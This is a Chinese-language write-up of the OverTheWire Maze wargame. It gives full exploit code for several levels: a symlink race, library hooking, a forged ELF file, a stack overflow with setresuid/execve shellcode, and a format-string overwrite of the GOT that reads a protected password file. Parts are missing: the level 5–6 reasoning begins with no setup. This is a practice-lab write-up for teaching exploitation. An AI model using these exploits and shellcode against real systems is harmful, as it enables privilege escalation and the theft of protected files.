OverTheWire - Maze

level 0 → level 1

SSH Information
Host: maze.labs.overthewire.org
Port: 2225
User: maze0
Pass: maze0
Passwords: /etc/maze_pass/
Binaries: /maze/

Maze 是一个侧重 exploitation 技巧的 wargame，难度 5/10，共 9 关（0-8）。涵盖 TOCTOU race condition、library hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace 反调试、格式字符串漏洞等。

所有 binary 均为 32-bit i386 ELF，编译时带 -g debug info 和 stack protector，nasm/ld 可用，gcc 可用 -m32 编译。

maze0@maze:~$ ls -la /maze/
total 140
-r-sr-x---  1 maze1 maze0 13408 maze0
-r-sr-x---  1 maze2 maze1 12252 maze1
-r-sr-x---  1 maze3 maze2 12708 maze2
-r-sr-x---  1 maze4 maze3  4728 maze3
-r-sr-x---  1 maze5 maze4 16220 maze4
-r-sr-x---  1 maze6 maze5 14884 maze5
-r-sr-x---  1 maze7 maze6 14204 maze6
-r-sr-x---  1 maze8 maze7 14716 maze7
-r-sr-x---  1 maze9 maze8 16324 maze8

每个 level 的 binary 命名规则：/maze/mazeN 是 setuid maze(N+1)，跑在 mazeN 下，目标是读 /etc/maze_pass/maze(N+1)。

经典 TOCTOU (Time-of-check Time-of-use) 竞争条件。

Binary 逻辑（r2 反汇编）：

memset(buf, 0, 0x14)：清空 20 字节 buffer
access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK)：用 real uid (maze0) 检查可读性
如果 access 失败 → 直接 return
setresuid(maze1, maze1, maze1)：全部提权到 maze1
open(path, O_RDONLY) → read(fd, buf, 19) → write(1, buf, 19)：读取并输出

race window 在 access() 和 open() 之间，只有十几个指令周期。ln -sf 太慢，需要用 rename() 原子交换预创建的 symlink：

#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"

int main() {
    symlink("/etc/maze_pass/maze0", "/tmp/_m0");
    symlink("/etc/maze_pass/maze1", "/tmp/_m1");
    while (1) {
        rename("/tmp/_m0", TARGET);   // 原子 → maze0
        symlink("/etc/maze_pass/maze0", "/tmp/_m0");
        rename("/tmp/_m1", TARGET);   // 原子 → maze1
        symlink("/etc/maze_pass/maze1", "/tmp/_m1");
    }
}

maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c
maze0@maze:/tmp$ ./toggle &                       # 后台 symlink 切换
maze0@maze:/tmp$ for i in $(seq 1 1000); do
    result=$(/maze/maze0 2>/dev/null)
    if [ -n "$result" ]; then
        echo "HIT: $result"; break
    fi
done
HIT: **********

原理：rename() 在同一文件系统上是原子的，target 始终指向一个有效文件（无 broken symlink 窗口）。access() 通过时 link 指向 maze0（maze0 可读），open() 时已被换为 maze1（maze1 可读）。

[credential redacted]

level 1 → level 2

maze1 的 binary 链接了一个不存在的 ./libc.so.4：

maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...

maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED
  NEEDED    ./libc.so.4
  NEEDED    libc.so.6

Binary 只调用 puts("Hello World!")。创建 hook library 劫持 puts() 即可读密码：

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int puts(const char *message) {
    FILE *fp;
    char buffer[30] = {0};
    fp = fopen("/etc/maze_pass/maze2", "r");
    if (fp) { fread(buffer, 29, 1, fp); fclose(fp); }
    printf("PASSWORD: %s\n", buffer);
    return printf("Hooked: %s\n", message ? message : "(null)");
}

maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \
    -o libc.so.4 hookputs.c -ldl
maze1@maze:/tmp/work$ /maze/maze1
PASSWORD: **********
Hooked: Hello World!

注意需要 -fno-stack-protector 关闭 stack canary，否则 ld 链接时报 __stack_chk_fail_local 未定义。

[credential redacted]

level 3 → level 4

maze3 的 binary 是静态链接的（statically linked），使用自修改代码（self-modifying code）。

mprotect() 设置代码段 RWX，然后用 key 0x12345678 XOR 解码 d1 函数区域，reveal 出一段 shellcode。shellcode 检查 argv[1] == 0x1337c0de，通过则 setreuid(maze4) + execve("/bin/sh")。

# <<<（here-string）
maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4"
**********

注意：0x1337c0de 作为 int 是 little-endian \xde\xc0\x37\x13。

[credential redacted]

level 4 → level 5

maze4 的 binary 读取用户提供的文件，解析为 ELF header + program header，验证通过后 execv() 执行。

验证逻辑（反汇编）：

read(fd, &ehdr, 0x34)：读 52 bytes ELF header 到栈上
lseek(fd, ehdr.e_phoff, SEEK_SET)：定位到 program header
read(fd, &phdr, 0x20)：读 32 bytes program header
检查 1: phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8]（两个 byte 乘积）
检查 2: stat.st_size <= 0x7b（文件大小 ≤ 123 bytes）
puts("valid file, executing"); execv(file, NULL, NULL);

execv() 保留 setuid 权限，但 shell (/bin/sh) 会主动 drop privilege。需要编译一个专用 reader binary。

maze4@maze:/tmp/work$ cat > reader.c << EOF
#include <unistd.h>
#include <fcntl.h>
int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0);
int n=read(fd,b,49);write(1,b,n);return 0;}
EOF

maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c
maze4@maze:/tmp/work$ ln -sf reader r

ELF header 与 shebang #!/tmp/maze4w/r\n 重叠。e_ident[7] 和 [8] 由 shebang 的第 7、8 字节决定：

maze4@maze:/tmp/work$ python3 -c "
import struct
sh = b'#!/tmp/maze4w/r\n'
b7, b8 = sh[7], sh[8]  # 0x6d ('m'), 0x61 ('a')
prod = b7 * b8         # 0x295d
pad = 28 - len(sh)     # 补齐到 byte 28（e_phoff 位置）
data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16
open('elf_file','wb').write(data)
"

maze4@maze:/tmp/work$ chmod +x elf_file
maze4@maze:/tmp/work$ /maze/maze4 elf_file
valid file, executing
**********

shebang 指向编译好的 reader binary（不 drop privilege）
ELF header 字节与 shebang 重叠，e_ident[7] 和 [8] 必须是 shebang 的实际字符
e_phoff = 0x20 让 program header 与 ELF header 尾部重叠
p_paddr（PHDR 偏移 0xc）必须等于两个 e_ident 字节的乘积

[credential redacted]

fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ $4 + 3 + 260 + 1 = 268$ bytes。_IO_write_end - _IO_write_base = 0x1000（4KB），远超输出长度。_IO_putc 宏检测到 _IO_write_ptr < _IO_write_end 时直接内存写入，不触发 __overflow() → vtable 调用。因此 vtable 仅需通过 _IO_validate_vtable 的地址范围检查，不需要实际调用。

为什么 lock 复用真实 FILE 的？

glibc 的 _IO_lock_lock(fp) 检查 fp->_lock != NULL 才会加锁。用真实 FILE 的 lock（0x0804c238）保证 lock 结构合法且初始为 unlocked 状态。

为什么 memfrob 不影响 shellcode？

所有放入 payload 的字节都经过 pre_XOR（byte ^ 0x2A）。memfrob 再 XOR 一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。

[credential redacted]

level 7 → level 8

/maze/maze7 是一个 ELF section header dumper。读取攻击者提供的 ELF 文件，信任 header 里的 e_shoff、e_shnum、e_shentsize、e_shstrndx，循环打印 section 信息。

漏洞点在第二次读取 section header：

read(fd, &shdr_on_stack, e_shentsize);
printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);

shdr_on_stack 是固定大小的 Elf32_Shdr，但 e_shentsize 完全由文件控制。设大以后 read() 会从 section header 覆盖到 saved return address。

live 调试测得偏移：section-header stack buffer + 64 → saved eip。

直接覆盖会先在 free(ptr) / free(strs) 崩掉，因为栈上的 heap 指针也被污染。稳定做法：

构造最小 fake ELF
e_shentsize = 220，触发大读
第一段 section header 保持基本合法，让程序走到 printf()
覆盖局部变量 ptr = NULL、strs = NULL，让后续 free(NULL) 安全返回
sh_name 不用 string table 偏移，放成一个可读 rodata 绝对地址，满足 printf(ptr + sh_name, ...)
saved eip 跳到栈上 NOP sled，shellcode 执行 setresuid(15008,15008,15008); execve('/bin/sh')

利用生成脚本：

#!/usr/bin/env python3
from pathlib import Path
import struct

def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx):
    e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1
    struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx)
    return e

def build(ret, buf, path):
    data=bytearray(b'\x00'*0x800)
    data[:52]=ehdr(0x100,0,220,0)
    data[0x180:0x183]=b'\x00Z\x00'
    sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80')
    payload=bytearray(b'\x00'*220)
    # ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer.
    struct.pack_into('<I', payload, 0x00, 0x0804a008)
    struct.pack_into('<I', payload, 0x0c, 0x11111111)  # sh_addr
    struct.pack_into('<I', payload, 0x10, 0x180)       # sh_offset
    struct.pack_into('<I', payload, 0x14, 3)           # sh_size
12 collapsed lines
    payload[72:74]=b'A\x00'
    # Overwritten locals after 40-byte shdr.
    struct.pack_into('<I', payload, 40, 0)             # ptr local -> NULL; printf uses absolute sh_name
    struct.pack_into('<I', payload, 44, 0)             # var_10h scratch
    struct.pack_into('<I', payload, 48, 0)             # strs local -> NULL; free(NULL) safe
    struct.pack_into('<I', payload, 52, 0)             # shdr counter
    struct.pack_into('<I', payload, 56, 0x42424242)    # saved ebx
    struct.pack_into('<I', payload, 60, 0x43434343)    # saved ebp
    struct.pack_into('<I', payload, 64, ret)           # saved eip
    payload[80:160]=b'\x90'*80
    payload[160:160+len(sc)]=sc
    data[0x100:0x100+len(payload)]=payload
    Path(path).write_bytes(data)

if __name__ == '__main__':
    import sys
    ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70
    buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14
    build(ret, buf, 'maze7_exploit.elf')
    print(hex(ret), hex(buf))

执行：

maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf
$ id
uid=15008(maze8) gid=15007(maze7) groups=15007(maze7)
$ cat /etc/maze_pass/maze8
**********

[credential redacted]

level 8 → level 9

/maze/maze8 是 TCP format string service。接受端口参数监听本地，错误口令路径：

recv(client_fd, input, 511, 0);
snprintf(reply, 512, input);
send(client_fd, reply, strlen(reply), 0);

探测 format offset：

AAAA.%1$08x -> AAAA.41414141

payload 开头的 dword 就是第一个 positional argument。strlen() 在 snprintf() 后立刻调用，可覆盖 strlen@got：

strlen@got = 0x0804b268

payload 结构：

payload  = p32(strlen_got)
payload += p32(strlen_got + 2)
payload += b"%<low-8>x%1$hn"
payload += b"%<high-low>x%2$hn"
payload += b"\x90" * pad
payload += shellcode

最初尝试把 strlen@got 指向 /bin/sh shellcode。GDB 下能看到成功执行 /usr/bin/dash，但远程 socket 没有交互输出：/bin/sh 的 stdin/stdout 不等于 client socket。

最终解法是不 spawn shell，而是让 shellcode 直接完成取证：

setresuid(15009,15009,15009)
open('/etc/maze_pass/maze9', O_RDONLY)
read(fd, esp, 64)
write(4, esp, n)          ; accepted client fd
exit(0)

最终脚本：

#!/usr/bin/env python3
import socket
import struct
import subprocess
import sys
import time
import select

PORT = 31338
STRLEN_GOT = 0x0804b268
TARGET = 0xffffda50

# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)
SC = bytes.fromhex(
    '31c0b0a431db66bba13a89d989dacd80'
    '31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80'
    '89c389e1b240b003cd80'
    '89c231dbb304b004cd80'
    '31dbb001cd80'
)
30 collapsed lines


def payload_for(target):
    low = target & 0xffff
    high = (target >> 16) & 0xffff
    writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)]
    writes.sort(key=lambda item: item[1])
    prefix = struct.pack('<II', writes[0][0], writes[1][0])
    count = len(prefix)
    pad1 = (writes[0][1] - count) % 0x10000
    pad2 = (writes[1][1] - writes[0][1]) % 0x10000
    fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode()
    return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'


proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(0.4)
try:
    sock = socket.create_connection(('127.0.0.1', PORT), timeout=2)
    sock.recv(200)
    sock.sendall(payload_for(TARGET))
    end = time.time() + 4
    out = b''
    while time.time() < end:
        readable, _, _ = select.select([sock], [], [], 0.2)
        if not readable:
            continue
        chunk = sock.recv(4096)
        if not chunk:
            break
        out += chunk
    sys.stdout.buffer.write(out)
finally:
    proc.terminate()
    try:
        proc.wait(timeout=1)
    except subprocess.TimeoutExpired:
        proc.kill()

live 输出：

maze8@maze:/tmp$ python3 solve_maze8_readpass.py
**********

凭据读取后的 UID 与目标文件权限记录（历史交互；未重新连接服务）：

$ ssh -p 2225 maze9@maze.labs.overthewire.org
maze9@maze:~$ id
uid=15009(maze9) gid=15009(maze9) groups=15009(maze9)
maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9
-r-------- 1 maze9 maze9 11 Apr  3 15:19 /etc/maze_pass/maze9

[credential redacted]

OverTheWire - Maze

level 0 → level 1

level 1 → level 2

level 2 → level 3

level 3 → level 4

level 4 → level 5

level 5 → level 6

level 6 → level 7

Binary 分析

漏洞利用链

Exploit 代码

技术要点

level 7 → level 8

level 8 → level 9